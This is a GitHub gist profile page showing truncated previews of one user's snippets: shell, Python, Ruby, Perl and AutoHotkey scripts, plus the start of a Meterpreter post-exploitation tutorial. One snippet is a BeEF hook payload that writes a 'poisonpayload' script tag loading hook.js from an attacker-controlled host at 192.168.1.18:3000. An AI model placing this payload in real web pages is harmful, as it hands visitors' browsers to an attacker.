Skip to content

Instantly share code, notes, and snippets.

View matrixfox's full-sized avatar

Matrixfox matrixfox

View GitHub Profile
@matrixfox
matrixfox / coiny.sh
Created February 22, 2016 22:36
Slightly Useful Bash Command
#!/bin/sh
service="stop_loss.sh"
if ps -e | grep "$service"; then
echo "running"
else
echo "not running"
/home/pi/coiny/stop_loss.sh
fi
@matrixfox
matrixfox / flirckr_search.py
Last active February 22, 2016 15:30 — forked from ck196/flirckr_search.py
Flick search api
import flickr_api as f
import re
f.set_keys(api_key = 'xxxxxxxxxxxxxxxxxxxxxxx',
api_secret = 'xxxxxxxxxxx')
auth = f.auth.AuthHandler()
w = f.Walker(f.Photo.search, tags="landscape")
function payload() {
if (typeof beef == "undefined") {
var x = document.getElementById("poisonpayload");
if (x == null) {
var commandModuleStr = '<script id="poisonpayload" type="text/javascript" src="' + "http://192.168.1.18" + ':' + "3000" + '/hook.js"><\/script>';document.write(commandModuleStr);
}
}
#!/usr/bin/perl
$|=1;
#$count = 0;
$pid = $$;
while (<>) {
chomp;
@X = split;
$url = $X[1];
@matrixfox
matrixfox / twitterbot.rb
Created November 2, 2015 23:11 — forked from emad-elsaid/twitterbot.rb
twitter bot to auto favourite tweets
require 'Twitter' #gem install twitter
while true
begin
# Create a read write application from :
# https://apps.twitter.com
# authenticate it for your account
# fill in the following
config = {
consumer_key: '',
consumer_secret: '',
@matrixfox
matrixfox / gist:2976c823dce0c1daadff
Created October 17, 2015 23:06 — forked from RiANOl/gist:1077760
AES128 / AES256 CBC with PKCS7Padding in Ruby
require "openssl"
require "digest"
def aes128_cbc_encrypt(key, data, iv)
key = Digest::MD5.digest(key) if(key.kind_of?(String) && 16 != key.bytesize)
iv = Digest::MD5.digest(iv) if(iv.kind_of?(String) && 16 != iv.bytesize)
aes = OpenSSL::Cipher.new('AES-128-CBC')
aes.encrypt
aes.key = key
aes.iv = iv
@matrixfox
matrixfox / gist:90728c0c834bbddf3325
Last active October 17, 2015 22:51 — forked from smazhara/gist:4740692
Ruby AES128 encrypt-decrypt example
require "openssl"
require "base64"
include Base64
plain_text = "This is the song that never ends, it goes on and on my friends."
cipher = OpenSSL::Cipher::AES128.new(:CBC)
cipher.encrypt
key = cipher.random_key

Using Meterpeter commands

Since the Meterpreter provides a whole new environment, we will cover some of the basic Meterpreter commands to get you started and help familiarize you with this most powerful tool. Throughout this course, almost every available Meterpreter command is covered. For those that aren’t covered, experimentation is the key to successful learning.

help

The ‘help‘ command, as may be expected, displays the Meterpreter help menu.

meterpreter > help
@matrixfox
matrixfox / rapidfire.ahk
Created August 20, 2015 18:19
AutoHotkey RapidFire
#NoEnv
#SingleInstance force
SendMode Input
Numpad0::Suspend ;
Lbutton::
Loop
{
GetKeyState, state, Lbutton, P
if state=U